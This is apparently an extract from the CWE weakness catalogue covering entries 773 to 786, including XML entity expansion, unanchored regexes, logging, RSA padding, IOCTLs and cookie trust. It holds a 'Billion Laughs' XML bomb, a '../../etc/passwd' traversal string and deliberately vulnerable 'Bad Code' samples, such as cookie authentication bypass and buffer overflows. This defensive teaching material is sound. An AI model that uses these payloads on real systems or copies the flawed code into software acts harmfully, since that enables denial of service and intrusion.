Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C++ Secure Coding	CON02-CPP	Use lock classes for mutex management
Software Fault Patterns	SFP14	Failure to release resource

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 2.10)*
469	HTTP DoS	

Maintenance Notes

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

CWE-773: Missing Reference to Active File Descriptor or Handle

Weakness ID: 773 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.

Extended Description

This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Availability

DoS: resource consumption (other)

When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

Likelihood of Exploit

Medium to High

Potential Mitigations

Operation

Architecture and Design

Limit Resource Consumption

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Software Fault Patterns	SFP14	Failure to release resource

CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling

Weakness ID: 774 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.

Extended Description

This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Availability

DoS: resource consumption (other)

When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime

Weakness ID: 775 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.

Extended Description

When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.

Time of Introduction

- Implementation

Common Consequences

Availability

DoS: resource consumption (other)

When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

Likelihood of Exploit

Medium to High

Observed Examples

Reference	Description
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.

Potential Mitigations

Operation
Architecture and Design
Limit Resource Consumption

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Weakness ID: 776 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

Extended Description

If the DTD contains a large number of nested or recursive entities, this can lead to explosive growth of data when parsed, causing a denial of service.

Alternate Terms

XEE

XEE is the acronym commonly used for XML Entity Expansion.

Billion Laughs Attack

XML Bomb

While the "XML Bomb" term was used in the early years of knowledge of this issue, the XEE term seems to be more commonly used.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- XML

Architectural Paradigms

- Web-based

Common Consequences

Availability

DoS: resource consumption (other)

If parsed, recursive entity references allow the attacker to expand data exponentially, quickly consuming all system resources.

Likelihood of Exploit

Low to Medium

Demonstrative Examples

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.

XML Example: *Attack*

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

Observed Examples

Reference	Description
CVE-2003-1564	Parsing library allows XML bomb
CVE-2008-3281	XEE in XML-parsing library.
CVE-2009-1955	XML bomb in web server module
CVE-2011-1755	"Billion laughs" attack in XMPP server daemon.
CVE-2011-3288	XML bomb / XEE in enterprise communication product.

Potential Mitigations

Operation

If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

Implementation

Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

Relationships

CWE-777: Regular Expression without Anchors

Weakness ID: 777 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through.

Extended Description

When performing tasks such as whitelist validation, data is examined and possibly modified to ensure that it is well-formed and adheres to a list of safe values. If the regular expression is not anchored, malicious or malformed data may be included before or after any string matching the regular expression. The type of malicious data that is allowed will depend on the context of the application and which anchors are omitted from the regular expression.

Time of Introduction

- Implementation

Common Consequences

Availability
Confidentiality
Access Control
Bypass protection mechanism

An unanchored regular expression in the context of a whitelist will possibly result in a protection mechanism failure, allowing malicious or malformed data to enter trusted regions of the program. The specific consequences will depend on what functionality the whitelist was protecting.

Likelihood of Exploit

Low to Medium

Demonstrative Examples

Consider a web application that supports multiple languages. It selects messages for an appropriate language by using the lang parameter.

PHP Example: *Bad Code*

```
$dir = "/home/cwe/languages";
$lang = $_GET['lang'];
if (preg_match("/[A-Za-z0-9]+/", $lang)) {
  include("$dir/$lang");
}
else {
  echo "You shall not pass!\n";
}
```

The previous code attempts to match only alphanumeric values so that language values such as "english" and "french" are valid while also protecting against path traversal, CWE-22. However, the regular expression anchors are omitted, so any text containing at least one alphanumeric character will now pass the validation step. For example, the attack string below will match the regular expression.

Attack

```
../../etc/passwd
```

If the attacker can inject code sequences into a file, such as the web server's HTTP request log, then the attacker may be able to redirect the lang parameter to the log file and execute arbitrary code.

Potential Mitigations

Implementation

Be sure to understand both what will be matched and what will not be matched by a regular expression. Anchoring the ends of the expression will allow the programmer to define a whitelist strictly limited to what is matched by the text in the regular expression. If you are using a package that only matches one line by default, ensure that you can match multi-line inputs if necessary.

Background Details

Regular expressions are typically used to match a pattern of text. Anchors are used in regular expressions to specify where the pattern should match: at the beginning, the end, or both (the whole input).

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	625	Permissive Regular Expression	**699** **1000**	975

CWE-778: Insufficient Logging

Weakness ID: 778 *(Weakness Base)* **Status:** Draft

Description

Summary

When a security-critical event occurs, the software either does not record the event or omits important details about the event when logging it.

Extended Description

When security-critical events are not logged properly, such as a failed login attempt, this can make malicious behavior more difficult to detect and may hinder forensic analysis after an attack succeeds.

Time of Introduction

- Operation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Non-Repudiation
Hide activities

If security critical information is not recorded, there will be no trail for forensic analysis and discovering the cause of problems or the source of attacks may become more difficult or impossible.

Likelihood of Exploit

Medium

Demonstrative Examples

The example below shows a configuration for the service security audit feature in the Windows Communication Foundation (WCF).

XML Example: *Bad Code*

```xml
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
        suppressAuditFailure="false"
        serviceAuthorizationAuditLevel="None"
        messageAuthenticationAuditLevel="None" />
        ...
</system.serviceModel>
```

The previous configuration file has effectively disabled the recording of security-critical events, which would force the administrator to look to other sources during debug or recovery efforts.

Logging failed authentication attempts can warn administrators of potential brute force attacks. Similarly, logging successful authentication events can provide a useful audit trail when a legitimate account is compromised. The following configuration shows appropriate settings, assuming that the site does not have excessive traffic, which could fill the logs if there are a large number of success or failure events (CWE-779).

XML Example: *Good Code*

```xml
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
        suppressAuditFailure="false"
        serviceAuthorizationAuditLevel="SuccessAndFailure"
        messageAuthenticationAuditLevel="SuccessAndFailure" />
        ...
</system.serviceModel>
```

Observed Examples

Reference	Description
CVE-2003-1566	web server does not log requests for a non-standard request type
CVE-2007-1225	proxy does not log requests without "http://" in the URL, allowing web surfers to access restricted web content without detection
CVE-2007-3730	default configuration for POP server does not log source IP or username for login attempts
CVE-2008-1203	admin interface does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected
CVE-2008-4315	server does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected

Potential Mitigations

Architecture and Design

Use a centralized logging mechanism that supports multiple levels of detail. Ensure that all security-related successes and failures can be logged.

Operation

Be sure to set the level of logging appropriately in a production environment. Sufficient data should be logged to enable system administrators to detect attacks, diagnose errors, and recover from attacks. At the same time, logging too much data (CWE-779) can cause the same problems.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	223	Omission of Security-relevant Information	**699** **1000**	415
ChildOf	C	254	Security Features	699	453
ChildOf	C	693	Protection Mechanism Failure	1000	1077

References

CWE-779: Logging of Excessive Data

Weakness ID: 779 *(Weakness Base)* **Status:** Draft

Description

Summary

The software logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack.

Extended Description

While logging is a good practice in general, and very high levels of logging are appropriate for debugging stages of development, too much logging in a production environment might hinder a system administrator's ability to detect anomalous conditions. This can provide cover for an attacker while attempting to penetrate a system, clutter the audit trail for forensic analysis, or make it more difficult to debug problems in a production environment.

Time of Introduction

- Operation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Availability
DoS: resource consumption (CPU)
DoS: resource consumption (other)

Log files can become so large that they consume excessive resources, such as disk and CPU, which can hinder the performance of the system.

Non-Repudiation
Hide activities

Logging too much information can make the log files of less use to forensics analysts and developers when trying to diagnose a problem or recover from an attack.

Non-Repudiation
Hide activities

If system administrators are unable to effectively process log files, attempted attacks may go undetected, possibly leading to eventual system compromise.

Likelihood of Exploit

Low to Medium

Observed Examples

Reference	Description
CVE-2002-1154	chain: application does not restrict access to front-end for updates, which allows attacker to fill the error log
CVE-2007-0421	server records a large amount of data to the server log when it receives malformed headers

Potential Mitigations

Architecture and Design

Suppress large numbers of duplicate log messages and replace them with periodic summaries. For example, syslog may include an entry that states "last message repeated X times" when recording repeated events.

Architecture and Design

Support a maximum size for the log file that can be controlled by the administrator. If the maximum size is reached, the admin should be notified. Also, consider reducing functionality of the software. This may result in a denial-of-service to legitimate software users, but it will prevent the software from adversely impacting the entire system.

Implementation

Adjust configurations appropriately when software is transitioned from a debug state to production.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	199	Information Management Errors	699	384
ChildOf	C	254	Security Features	699	453
ChildOf	B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	**699** **1000**	689

CWE-780: Use of RSA Algorithm without OAEP

Weakness ID: 780 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.

Extended Description

Padding schemes are often used with cryptographic algorithms to make the plaintext less predictable and complicate attack efforts. The OAEP scheme is often used with RSA to nullify the impact of predictable common text.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Access Control

Bypass protection mechanism

Without OAEP in RSA encryption, it will take less work for an attacker to decrypt the data or to infer patterns from the ciphertext.

Likelihood of Exploit

Medium

Demonstrative Examples

The example below attempts to build an RSA cipher.

Java Example: *Bad Code*

```
public Cipher getRSACipher() {
  Cipher rsa = null;
  try {
    rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
  }
  catch (java.security.NoSuchAlgorithmException e) {
    log("this should never happen", e);
  }
  catch (javax.crypto.NoSuchPaddingException e) {
    log("this should never happen", e);
  }
  return rsa;
}
```

While the previous code successfully creates an RSA cipher, the cipher does not use padding. The following code creates an RSA cipher using OAEP.

Java Example: *Good Code*

```
public Cipher getRSACipher() {
  Cipher rsa = null;
  try {
    rsa = javax.crypto.Cipher.getInstance("RSA/ECB/OAEPWithMD5AndMGF1Padding");
  }
  catch (java.security.NoSuchAlgorithmException e) {
    log("this should never happen", e);
  }
  catch (javax.crypto.NoSuchPaddingException e) {
    log("this should never happen", e);
```

```
  }
  return rsa;
}
```

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	310	Cryptographic Issues	**699**	548
ChildOf	B	327	Use of a Broken or Risky Cryptographic Algorithm	**1000**	574

References

Ronald L. Rivest and Burt Kaliski. "RSA Problem". 2003-12-10. < http://people.csail.mit.edu/rivest/RivestKaliski-RSAProblem.pdf >.

"Optimal Asymmetric Encryption Padding". Wikipedia. 2009-07-08. < http://en.wikipedia.org/wiki/Optimal_Asymmetric_Encryption_Padding >.

Maintenance Notes

This entry could probably have a new parent related to improper padding, however the role of padding in cryptographic algorithms can vary, such as hiding the length of the plaintext and providing additional random bits for the cipher. In general, cryptographic problems in CWE are not well organized and further research is needed.

CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code

Weakness ID: 781 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software defines an IOCTL that uses METHOD_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided.

Extended Description

When an IOCTL uses the METHOD_NEITHER option for I/O control, it is the responsibility of the IOCTL to validate the addresses that have been supplied to it. If validation is missing or incorrect, attackers can supply arbitrary memory addresses, leading to code execution or a denial of service.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C *(Often)*
- C++ *(Often)*

Operating Systems

- Windows XP *(Sometimes)*
- Windows 2000 *(Sometimes)*
- Windows Vista *(Sometimes)*

Platform Notes

Common Consequences

Integrity
Availability
Confidentiality
Modify memory
Read memory
Execute unauthorized code or commands
DoS: crash / exit / restart

An attacker may be able to access memory that belongs to another process or user. If the attacker can control the contents that the IOCTL writes, it may lead to code execution at high privilege levels. At the least, a crash can occur.

Likelihood of Exploit

Low to Medium

Observed Examples

Reference	Description
CVE-2006-2373	Driver for file-sharing and messaging protocol allows attackers to execute arbitrary code.
CVE-2007-5756	chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error.
CVE-2008-5724	Personal firewall allows attackers to gain SYSTEM privileges.
CVE-2009-0686	Anti-virus product does not validate addresses, allowing attackers to gain SYSTEM privileges.
CVE-2009-0824	DVD software allows attackers to cause a crash.

Potential Mitigations

Implementation

If METHOD_NEITHER is required for the IOCTL, then ensure that all user-space addresses are properly validated before they are first accessed. The ProbeForRead and ProbeForWrite routines are available for this task. Also properly protect and manage the user-supplied buffers, since the I/O Manager does not do this when METHOD_NEITHER is being used. See References.

Architecture and Design

If possible, avoid using METHOD_NEITHER in the IOCTL and select methods that effectively control the buffer size, such as METHOD_BUFFERED, METHOD_IN_DIRECT, or METHOD_OUT_DIRECT.

Architecture and Design
Implementation

If the IOCTL is part of a driver that is only intended to be accessed by trusted users, then use proper access control for the associated device or device namespace. See References.

Relationships

Nature	Type	ID	Name	V	Page

Research Gaps

While this type of issue has been known since 2006, it is probably still under-studied and under-reported. Most of the focus has been on high-profile software and security products, but other kinds of system software also use drivers. Since exploitation requires the development of custom code, it requires some skill to find this weakness.

Because exploitation typically requires local privileges, it might not be a priority for active attackers. However, remote exploitation may be possible for software such as device drivers. Even when remote vectors are not available, it may be useful as the final privilege-escalation step in multi-stage remote attacks against application-layer software, or as the primary attack by a local user on a multi-user system.

CWE-782: Exposed IOCTL with Insufficient Access Control

Weakness ID: 782 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.

Extended Description

When an IOCTL contains privileged functionality and is exposed unnecessarily, attackers may be able to access this functionality by invoking the IOCTL. Even if the functionality is benign, if the programmer has assumed that the IOCTL would only be accessed by a trusted process, there may be little or no validation of the incoming data, exposing weaknesses that would never be reachable if the attacker cannot call the IOCTL directly.

The implementations of IOCTLs will differ between operating system types and versions, so the methods of attack and prevention may vary widely.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C *(Often)*
- C++ *(Often)*

Operating Systems

- UNIX-based
- Windows-based

Platform Notes

Common Consequences

Integrity
Availability
Confidentiality

Attackers can invoke any functionality that the IOCTL offers. Depending on the functionality, the consequences may include code execution, denial-of-service, and theft of data.

Likelihood of Exploit

Low to Medium

Observed Examples

Reference	Description
CVE-1999-0728	Unauthorized user can disable keyboard or mouse by directly invoking a privileged IOCTL.
CVE-2006-4926	Anti-virus product uses insecure security descriptor for a device driver, allowing access to a privileged IOCTL.
CVE-2007-1400	Chain: sandbox allows opening of a TTY device, enabling shell commands through an exposed ioctl.

Reference	Description
CVE-2007-4277	Chain: anti-virus product uses weak permissions for a device, leading to resultant buffer overflow in an exposed IOCTL.
CVE-2008-0322	Chain: insecure device permissions allows access to an IOCTL, allowing arbitrary memory to be overwritten.
CVE-2008-3525	ioctl does not check for a required capability before processing certain requests.
CVE-2008-3831	Device driver does not restrict ioctl calls to its master.
CVE-2009-2208	Operating system does not enforce permissions on an IOCTL that can be used to modify network settings.

Potential Mitigations

Architecture and Design

In Windows environments, use proper access control for the associated device or device namespace. See References.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	284	Improper Access Control	699	500
ChildOf	B	749	Exposed Dangerous Method or Function	**699** **1000**	1141
CanPrecede	V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	1000	1200

Relationship Notes

This can be primary to many other weaknesses when the programmer assumes that the IOCTL can only be accessed by trusted parties. For example, a program or driver might not validate incoming addresses in METHOD_NEITHER IOCTLs in Windows environments (CWE-781), which could allow buffer overflow and similar attacks to take place, even when the attacker never should have been able to access the IOCTL at all.

CWE-783: Operator Precedence Logic Error

Weakness ID: 783 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program uses an expression in which operator precedence causes incorrect logic to be used.

Extended Description

While often just a bug, operator precedence logic errors can have serious consequences if they are used in security-critical code, such as making an authentication decision.

Applicable Platforms

Languages

- C *(Rarely)*
- C++ *(Rarely)*
- Any *(Rarely)*

Modes of Introduction

Logic errors related to operator precedence may cause problems even during normal operation, so they are probably discovered quickly during the testing phase. If testing is incomplete or there is a strong reliance on manual review of the code, then these errors may not be discovered before the software is deployed.

Common Consequences

Confidentiality
Integrity
Availability
Varies by context
Unexpected state

The consequences will vary based on the context surrounding the incorrect precedence. In a security decision, integrity or confidentiality are the most likely results. Otherwise, a crash may occur due to the software reaching an unexpected state.

Likelihood of Exploit

Low

Demonstrative Examples

Example 1:

In the following example, the method validateUser makes a call to another method to authenticate a username and password for a user and returns a success or failure code.

C Example: *Bad Code*

```
#define FAIL 0
#define SUCCESS 1
...
int validateUser(char *username, char *password) {
  int isUser = FAIL;
  // call method to authenticate username and password
  // if authentication fails then return failure otherwise return success
  if (isUser = AuthenticateUser(username, password) == FAIL) {
    return isUser;
  }
  else {
    isUser = SUCCESS;
  }
  return isUser;
}
```

However, the method that authenticates the username and password is called within an if statement with incorrect operator precedence logic. Because the comparison operator "==" has a higher precedence than the assignment operator "=", the comparison operator will be evaluated first and if the method returns FAIL then the comparison will be true, the return variable will be set to true and SUCCESS will be returned. This operator precedence logic error can be easily resolved by properly using parentheses within the expression of the if statement, as shown below.

C Example: *Good Code*

```
...
if ((isUser = AuthenticateUser(username, password)) == FAIL) {
...
```

Example 2:

In this example, the method calculates the return on investment for an accounting/financial application. The return on investment is calculated by subtracting the initial investment costs from the current value and then dividing by the initial investment costs.

Java Example: *Bad Code*

```
public double calculateReturnOnInvestment(double currentValue, double initialInvestment) {
  double returnROI = 0.0;
  // calculate return on investment
  returnROI = currentValue - initialInvestment / initialInvestment;
  return returnROI;
}
```

However, the return on investment calculation will not produce correct results because of the incorrect operator precedence logic in the equation. The divide operator has a higher precedence than the minus operator, therefore the equation will divide the initial investment costs by the initial investment costs which will only subtract one from the current value. Again this operator precedence logic error can be resolved by the correct use of parentheses within the equation, as shown below.

Java Example: *Good Code*

```
...
returnROI = (currentValue - initialInvestment) / initialInvestment;
...
```

Note that the initialInvestment variable in this example should be validated to ensure that it is greater than zero to avoid a potential divide by zero error (CWE-369).

Observed Examples

Reference	Description
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
CVE-2008-0599	Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression.
CVE-2008-2516	Authentication module allows authentication bypass because it uses "(x = call(args) == SUCCESS)" instead of "((x = call(args)) == SUCCESS)".

Potential Mitigations

Implementation

Regularly wrap sub-expressions in parentheses, especially in security-critical code.

CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision

Weakness ID: 784 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.

Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Attackers can bypass protection mechanisms such as authorization and authentication by modifying the cookie to contain an expected value.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Web-based *(Often)*

Common Consequences

Access Control
Bypass protection mechanism
Gain privileges / assume identity

It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to claim a high level of authorization, or to claim that successful authentication has occurred.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Java Example: *Bad Code*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("role")) {
    userRole = c.getValue();
  }
}
```

Example 2:

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

PHP Example: *Bad Code*

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
  if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
    // save the cookie to send out in future responses
    setcookie("authenticated", "1", time()+60*60*2);
  }
  else {
    ShowLoginScreen();
    die("\n");
  }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

Example 3:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Java Example: *Bad Code*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
    authenticated = true;
  }
}
```

Observed Examples

Reference	Description
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1.
CVE-2008-6291	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin."
CVE-2009-0864	Content management system allows admin privileges by setting a "login" cookie to "OK."
CVE-2009-1549	Attacker can bypass authentication by setting a cookie to a specific value.
CVE-2009-1619	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1.

Potential Mitigations

Architecture and Design

Avoid using cookie data for a security-related decision.

Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Architecture and Design

Add integrity checks to detect tampering.

Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	442	Web Problems	699	757
ChildOf	B	565	Reliance on Cookies without Validation and Integrity Checking	**699** **1000**	903
ChildOf	B	807	Reliance on Untrusted Inputs in a Security Decision	1000	1243

References

Steve Christey. "Unforgivable Vulnerabilities". 2007-08-02. < http://cve.mitre.org/docs/docs-2007/unforgivable.pdf >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 13, "Sensitive Data in Cookies and Fields" Page 435. 2nd Edition. Microsoft. 2002.

Maintenance Notes

A new parent might need to be defined for this entry. This entry is specific to cookies, which reflects the significant number of vulnerabilities being reported for cookie-based authentication in CVE during 2008 and 2009. However, other types of inputs - such as parameters or headers - could also be used for similar authentication or authorization. Similar issues (under the Research view) include CWE-247 and CWE-472.

CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer

Weakness ID: 785 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.

Extended Description

Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include realpath(), readlink(), PathAppend(), and others.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity
Confidentiality
Availability
Modify memory
Execute unauthorized code or commands
DoS: crash / exit / restart

Demonstrative Examples

C Example:

Bad Code

```
char *createOutputDirectory(char *name) {
  char outputDirectoryName[128];
  if (getCurrentDirectory(128, outputDirectoryName) == 0) {
    return null;
  }
  if (!PathAppend(outputDirectoryName, "output")) {
    return null;
  }
  if (!PathAppend(outputDirectoryName, name)) {
    return null;
  }
  if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) != ERROR_SUCCESS) {
    return null;
  }
  return StrDup(outputDirectoryName);
}
```

In this example the function creates a directory named "output\<name>" in the current directory and returns a heap-allocated copy of its name. For most values of the current directory and the name parameter, this function will work properly. However, if the name parameter is particularly long, then the second call to PathAppend() could overflow the outputDirectoryName buffer, which is smaller than MAX_PATH bytes.

Potential Mitigations

Implementation

Always specify output buffers large enough to handle the maximum-size possible result from path manipulation functions.

Background Details

Windows provides a large number of utility functions that manipulate buffers containing filenames. In most cases, the result is returned in a buffer that is passed in as input. (Usually the filename is modified in place.) Most functions require the buffer to be at least MAX_PATH bytes in length, but you should check the documentation for each function individually. If the buffer is not large enough to store the result of the manipulation, a buffer overflow can occur.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	20	Improper Input Validation	699 **700**	18
ChildOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	**699** 1000	234

- File/Directory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Often Misused: File System
Software Fault Patterns	SFP9	Faulty String Expansion

White Box Definitions

A weakness where code path has:

1. end statement that passes buffer to path manipulation function where the size of the buffer is smaller than expected by the path manipulation function

Maintenance Notes

Much of this entry was originally part of CWE-249, which was deprecated for several reasons.

This entry is at a much lower level of abstraction than most entries because it is function-specific. It also has significant overlap with other entries that can vary depending on the perspective. For example, incorrect usage could trigger either a stack-based overflow (CWE-121) or a heap-based overflow (CWE-122). The CWE team has not decided how to handle such entries.

CWE-786: Access of Memory Location Before Start of Buffer

Weakness ID: 786 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

Common Consequences

Confidentiality
Read memory

For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

Integrity
Availability
Modify memory
DoS: crash / exit / restart

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.

Modify memory
Execute unauthorized code or commands

If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy.

Demonstrative Examples

Example 1:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

C/C++ Example: *Bad Code*

```
char* trimTrailingWhitespace(char *strMessage, int length) {
```

```
  char *retMessage;
  char *message = malloc(sizeof(char)*(length+1));
  // copy input string to a temporary string
  char message[length+1];
  int index;
  for (index = 0; index < length; index++) {
    message[index] = strMessage[index];
  }
  message[index] = '\0';
  // trim trailing whitespace
  int len = index-1;
  while (isspace(message[len])) {
    message[len] = '\0';
    len--;
  }
  // return string without trailing whitespace
  retMessage = message;
  return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 2:

The following example asks a user for an offset into an array to select an item.

C Example: *Bad Code*

```
int main (int argc, char **argv) {
  char *items[] = {"boat", "car", "truck", "train"};
  int index = GetUntrustedOffset();
  printf("You selected %s\n", items[index-1]);
}
```

